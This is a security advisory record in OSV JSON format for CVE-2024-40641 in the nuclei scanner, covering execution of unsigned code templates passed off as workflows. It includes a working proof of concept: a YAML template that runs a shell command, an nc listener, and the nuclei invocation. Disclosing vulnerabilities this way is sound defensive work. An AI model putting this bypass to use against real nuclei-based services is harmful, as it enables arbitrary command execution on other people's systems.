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2.3 KiB
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2.3 KiB
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{"schema_version":"1.9.0","id":"GHSA-c3q9-c27p-cw9h","published":"2024-07-17T19:32:23Z","modified":"2024-08-20T14:57:15Z","aliases":["CVE-2024-40641","GO-2024-2989"],"summary":"projectdiscovery/nuclei allows unsigned code template execution through workflows","details":"### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n name: example code template\n author: ovi3\n\n\ncode:\n - engine:\n - sh\n - bash\n source: |\n id\n\nhttp:\n - raw:\n - |\n POST /re HTTP/1.1\n Host: {{Hostname}}\n\n {{code_response}}\n\nworkflows:\n - matchers:\n - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n","affected":[{"package":{"name":"github.com/projectdiscovery/nuclei/v3","ecosystem":"Go","purl":"pkg:golang/github.com/projectdiscovery/nuclei/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.3.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/07/GHSA-c3q9-c27p-cw9h/GHSA-c3q9-c27p-cw9h.json"}}],"references":[{"type":"WEB","url":"https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-40641"},{"type":"PACKAGE","url":"https://github.com/projectdiscovery/nuclei"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2024-07-17T19:32:23Z","nvd_published_at":"2024-07-17T18:15:05Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"}]} |